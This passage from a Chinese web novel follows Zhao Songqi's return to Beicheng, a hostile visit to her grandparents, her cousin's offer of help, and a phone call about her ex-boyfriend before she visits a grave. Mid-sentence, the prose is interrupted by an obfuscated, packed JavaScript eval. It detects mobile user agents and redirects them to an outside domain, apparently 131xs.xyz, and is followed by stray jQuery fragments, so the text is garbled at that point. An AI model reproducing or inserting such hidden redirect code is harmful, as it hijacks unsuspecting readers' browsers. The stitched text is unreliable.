男人亦是一愣，直直地望着她，说不清是什么心情，觉得有些微妙，毕竟他们不认识，但却一起上过绯闻热搜。


    一开始以为是自己看错了，走近发现真的是她。


    “你好。”许因先开口打招呼。


    赵颂祺淡淡回应一声：“你好。”


    “我叫许因。”他居然做自我介绍。


    赵颂祺也不知道该不该回一个介绍，又觉得实在没必要，萍水相逢都算不上，可上次那事这人还莫名其妙地关注她的微博。


    思忖片刻，她出于礼貌干笑一声，“赵颂祺。”


    “没想到还能见到。”许因又说。


    “确实挺意外。”赵颂祺说，指了指他身后，“你挡着别人了。”


    许因脸上瞬间爬起一抹红晕，赶紧走向自己的位置，把过道让出来。


    赵颂祺没再理会他，他离自己隔了两个座位，飞机起飞后，也不可能起身四处窜，两人到飞机降落后都没再有别的交流。


    飞机落地北城时，时值晚上七点过，这边天气不错，初夏的夜幕刚刚落下，从飞机上下来，赵颂祺有几秒恍惚，对这个长大的城市的空气有种久别重逢的感觉。


    从机场到订的酒店又是近两个小时，这个城市堵车更是家常便饭，城市繁华霓虹彩照在钢铁森林里没有一点美感，就像是一个彩色的牢笼。


    两年多没回来过，说长不长，说短也不短，可她就觉得眼睛所看到的一切都很陌生，她虽然在这个城市长大，从小学到大学都是在这里，可就是没有任何归属感。


    洗完澡，让酒店送了餐食后，赵颂祺坐在窗户边望着外面的夜景。


    她明天去看外公外婆，现在这个点，也不好跟陈妍约时间，等明天在跟陈妍约时间见面，其他的她也没想好做作什么。


    其实明天开始就是五一长假，这段期间哪里人都会多，她也不是旅客。


    吃完饭，赵颂祺拿起手机翻微信，翻了一会儿才翻到半年多前有过联系的表哥的微信，赵有为。


    【哥，我到北城了，明天会去看外公外婆，你在北城吗，一起吃个饭。】


    发完消息，她盯着窗外等着对方回复。


    赵颂祺知道，自己只是想找个掩护，赵有为是她表哥，大她两岁，算得上一起长大的，至少以前是住在一个屋檐下。


    赵有为的父亲是母亲赵晓曼的亲哥哥，也是外公外婆引以为傲的儿子，交到儿子手里的公司越来越好，两老自然骄傲，即将接管赵家企业的赵有为也年轻有为，更是锦上添花。


    这种情况下，母亲当初恋爱脑不顾父母反对非要嫁给一个除了有张好看的脸以外，其他地方毫无优点的男人，就显得格外刺眼，男人还拿着母亲的前挥霍出轨，自然被视为赵家的污点，而她就是这个污点存在的证据，怎么也抹杀不掉。


    赵颂祺心里很清楚，从小在赵家过得小心翼翼，如履薄冰，尽量不犯错。外公外婆虽然不至于苛待她，可要真说好也说不上来。


    赵有为的母亲，也就是她的舅妈对她更是时不时出言讥讽，觉得她吃赵家用赵家的，对于这些外公外婆都是睁只眼闭只眼，舅舅向来不参与家里这些事情，对她不冷不淡。


    她觉得没什么，就连亲生母亲都觉得她是一生的罪恶和污点，还能祈求别人怎么待她。


    也就表哥赵有为对她还不错，会在他母亲讥讽她时，站出来护着他。


    所以她这次回来其实并不想去看外公外婆，但既然都回北城了，不去道德上说不过去，至少有养育之恩，她只得找个掩护一起，不想去面对两年多没回来外公外婆的炮轰。


    赵有为：【回来了啊，我也是刚回这边，明天你什么时候去？】


    等了一会儿，赵有为回她信息。


    赵颂祺说明天早上大概十点钟过去，去一起吃顿午饭。


    和赵有为说好后，赵颂祺把手机丢在一旁，又开始发呆，脑子里总是空空的，什么也想不起来。


    第二天，她随意收拾一番去赵家，酒店到赵家的住处有挺长的一段车程，差不多一个小时。


    她没有带礼物，也没买花，因为得不到回应。


    以前买过不少礼物，都被外公外婆泼冷水，说她买的玉镯种水差一看就是被忽悠了，没眼力劲，上万一斤的茶叶一股霉味。


    后来她就不买了，没必要花钱给自己添堵。


    赵家在北城虽然不是顶级富豪，但住的地段也是北城极好的别墅区，她从出租车下来，就见到赵有为在门口等她。


    她快步上前打招呼，“哥。”


    虽然两年多没有回北城，赵有为都是有见过两次，去年十月份那会儿他到过一次临城，有一起吃了顿饭。


    赵有为生得高大英俊，浓眉俊目，快一米九五的身高，两条大长腿在西装裤里怎么也藏不住，身材也锻炼得相当好，铁灰色的高定衬衫在勾勒着他的肌肉线条。


    赵有为上下打量她一眼说：“怎么看着比上次见到时瘦了一圈，忙到顾不上吃饭吗。”


    “你可以这么认为。”赵颂祺脸上的笑容是勉强扯起来，她觉得自己应该伪装得很好，错开话题：“外公外婆身体还好吧，两年多没回来，他们应该很生气。”


    “是很生气，我刚才有打预防针。”赵有为说，他衬衫袖子挽到手肘，露出结实的小臂，本就生得高大，即便是穿着西裤衬衫，整个人得气质也带了些匪气。


    “嗯。”赵颂祺双手放到背带裤前面的口袋里，漫不经心地应声。


    赵有为侧眸看她，不由得问：“是遇到什么事了吗？”


    她摇头，“没有。”


    赵有为也没多问，到家后，他领着赵颂祺来到客厅。


    赵家两老在客厅看国际新闻。


    “外公、外婆。”赵颂祺走过去，尽量让自己的笑容看起来自然可亲。


    “哟，稀客啊，还以为你忘记还有外公外婆呢。”


    “你还知道来看我们啊。”


    话音刚落，就迎来两位老人阴阳怪气的数落。


    赵颂祺脸上的笑容不减，神情平静地仿佛没听到两人的话，继续说：“抱歉，外公外婆，工作很忙，一时间抽不开身。看到您们两老身体健康，气色红润，我就放心了。”


    “这么忙啊，忙到还能和人闹出丑闻热搜。”外公赵老爷子冷声说。


    赵颂祺没往下接话了，只是带着干笑。


    “爷爷奶奶，颂祺是真的很忙，她难得回来，你们明明很想她，却偏偏要这么说。”一旁的赵有为打岔解围，话说得好听。


    赵颂祺哪里不知道，赵有为在帮两位老人做面子，他们怎么会想自己，生怕自己在外面做什么给他们丢脸。


    可就算是真做了什么，谁又知道她是谁的外孙女。


    “哼。”赵老夫人冷哼一声。


    赵颂祺在一旁坐下来，片刻后赵有为的母亲从楼上下来，看到她眉毛一挑，尖着声音说：“哦哟，这不是赵大小姐吗，还以为你出去久了忘记回家的门了呢。”


    “妈！”赵有为皱眉，口吻偏冷地警告母亲。


    赵母撇了撇嘴，说：“还说不得了。”


    赵颂祺冷淡地喊了一声舅妈，没说其他。


    窒息，那种快要溺水的窒息感涌上来，让她想要逃离这里。


    即便自己在这里住了十来年，依旧让她觉得陌生，压抑的让她难以呼吸。


    “你之前和那个什么明星上的热搜是怎么回事。”这一段过后，赵老夫人语气不悦地问。


    之前和明星上热搜，赵颂祺回忆了一下，大概说的是二月份自己和沈乐游还有许因的那个热搜。


    她还没来得及说话，只听赵老夫人又说：“你别学你妈，和一些不三不四的男人在一起，我们赵家是肯定不会接受那种圈子里乱七八糟的人。”


    这话鄙夷至极，还带着警告，并无一点关心的意思。


    赵颂祺却是笑了一声，没答话。


    这么久的事情，她都忘记得差不多了，两位老人怕是在看到那热搜的时候就把她骂个遍，好不容易见到她本人，自然要说道说道。


    “明星也没什么不好，只要人品没为什么问题就行。”赵有为不知道那绯闻到底是真是假，这个时候他要是不开口，这场像是审判一般的质问可能会发酵得难看。


    “那个圈子里的人有干净的吗。”赵老爷子冷哼道。


    赵颂祺侧头看向窗外，任他们数落。


    漫长的审判终于在保姆阿姨说午饭好了后结束，沉默地吃完午餐，赵颂祺没有留，以还有事为借口离开，自然又引来外公外婆的不满，她也顾不上。


    “你住酒店吗，我送你吧。”赵有为跟出来。


    “不用，我还有别的事，不回酒店。”赵颂祺说。


    回酒店这个回字，让赵有为听着有些刺耳，他眉头一蹙，颇有一股子威严令人害怕的感觉，“颂祺，这里也是你的家，你回北城，完全可以回来住。”


    这话令人发笑，赵颂祺也就真笑出声来，没去应他。


    她抬头，视线别过他看着眼前偌大的别墅，四层楼的别墅，却没有一个属于她的房间，她从前住的那间房，也在她念大学后，被改成了一间静室。


    是谁的主意她不知道，也不重要了。


    赵有为见她充满讽刺的笑，以及眼神，也发现自己这话说得确实令人发笑。


    赵颂祺在家里的处境，他不是不知道，也试图改变过，可两位老人以及自己母亲，他不是不能违背，却不能真把刀架在他们脖子上，让他们去改变，他是儿子也是孙子。


    大学后，他也不怎么住家里，这种情况更没办法去管。


    “颂祺，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065018|173093||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你是遇到什么事了吗。”他没在继续这个尴尬的话题，关心地问。


    赵颂祺收回视线摇头，垂眸盯着手机叫网约车。


    “我知道我母亲有问题，但我始终是你哥哥，我们身体里流着一份共同的血液，这一点是怎么也割舍不开的。”赵有为语重心长的样子和他匪气的气质看起来反差很大。


    “有什么事，需要什么你尽管跟我说。”


    “好。”赵颂祺点头，“不用送我，我叫的车到了。”


    “会在北城呆多久？”赵有为连忙问。


    赵颂祺以为是他有事，便说：“还不确定，可能就呆个一两天，可能更久一些，你有事直接联系我。”


    赵有为却说：“如果呆得久，西城区那边有一套住房，去那边住吧，给你留的，入户密码和具体地址我发你微信上。”


    赵颂祺一怔，随即立刻回神，“不用，住酒店更方便一些。”


    赵有为没有理会她的拒绝，“地址和入户密码我发你，你有空也可以过去看看。”


    “车子到了。”她直接丢下一句话，往打车双闪的出租车跑过去。


    赵有为是出于同情还是其他，她不想去猜，她不是石头，在赵家确实只有这个表哥，把她当成一个亲人看待，所以许清然和姜未的出现才显得那么难能可贵，所以她才那么眷恋许清然的温柔。


    车子缓缓行驶离开，视线里那熟悉的大房子也渐渐模糊，许清然的家也在这附近的小区，只是许家移民后，那里就再也不是许清然的家了。


    她有时候想，许清然真可怜，父母远在国外，他一个人孤零零地躺在墓地里。


    “小姐，这个时候去墓地，到那边都下午三四点了，你到时候回来怕是不好打车，而且不一定能进去。”出租车司机是一位中年女性，对于她要去的目的地，好心提醒。


    “没事。”赵颂祺笑着说，“谢谢你。”


    话音落下，手机就响起来。


    她一看，沈乐游打来的语音电话。


    沈乐游从上次跟着她跑去剧组回来后，就进组了，说起来也有两个来月没见过面，一般没什么事情自己不可能找他聊天，倒是他要是剧组或者出席活动无聊时，会找自己东拉西扯，或者就是找自己陪他打游戏。


    现在突然打个语音电话过来，怕是因为商彦礼。


    她犹豫片刻，还是接通电话。


    “嫂嫂，你和我哥分手了吗？”


    “真的还是假的啊，我听陈哥和瑜哥说你们两个这次闹得很难看，我哥十分狼狈。”


    “你们还会和好吗，那我还能叫你嫂嫂吗？”


    “你知不知道我哥生病了，高烧从昨天到现在一直没退。”


    “陈方哥说他发烧的时候，嘴里一直喊着你的名字，你去看看他吧，我哥从小到大都没受过委屈。”


    “我哥肯定不是故意要气你的。”


    刚接通，对方噼里啪啦地跟鞭炮似的轰炸过来。


    赵颂祺把手机拿得离耳朵远了一些，等对方鞭炮停止后，才拿近手机。


    “嫂嫂，你有没有听我说话啊，你不能连我都不理了吧！”刚一拿近，那头又是一阵尖叫。


    赵颂祺皱眉，冷淡地说：“你不要再叫我嫂嫂，我不是你嫂嫂，我和你哥哥已经分手，不是在闹脾气，也不会复合。”


    电话那头陷入一阵死寂，好半晌，沈乐游的声音才重新传来，“你们真的分手了，你不是那么喜欢他吗，为什么要分手。我知道我哥脾气不太好，可是他对你是认真的。”


    “没有为什么，就是不喜欢了。”赵颂祺说。


    “可是……可是……”沈乐游可是好一会儿都没说出来话来，他太震惊了，没想到两人真的分手。


    “你没有其他事我挂电话了，我还有事。”她不想和沈乐游扯，但也不想跟沈乐游关系闹得不好看。


    虽然这家伙有时候很吵，为人却不错。


    “等等，我哥现在烧得很厉害，他很少这么生病到高烧不退，整个人状况很差很危险，姑姑姑父他们担忧得不行，你去看看他吧。”沈乐游赶紧说。


    赵颂祺沉默半晌，微微叹气，口吻依旧冷淡：“他现在需要的是医生，我并不是医生。”


    沈乐游哑然。


    都说赵颂祺温柔善解人意，可是他们却忽略她的理智在冷漠的时候，是真冷漠真决绝。


    没等沈乐游再说话，赵颂祺挂掉电话，把手机设置成静音。


    到达墓地时，跟司机说的时间差不多，下午四点钟。


    许清然沉睡的地方，她登记后寻着记忆往墓园走。


    工作人员都很奇怪，哪有人扫墓这个点来的，这个点虽然天还没黒，可到底是墓地，总给人不太舒服的感觉。


    赵颂祺走得很慢，走了好一会儿才在一方墓碑前停下脚步。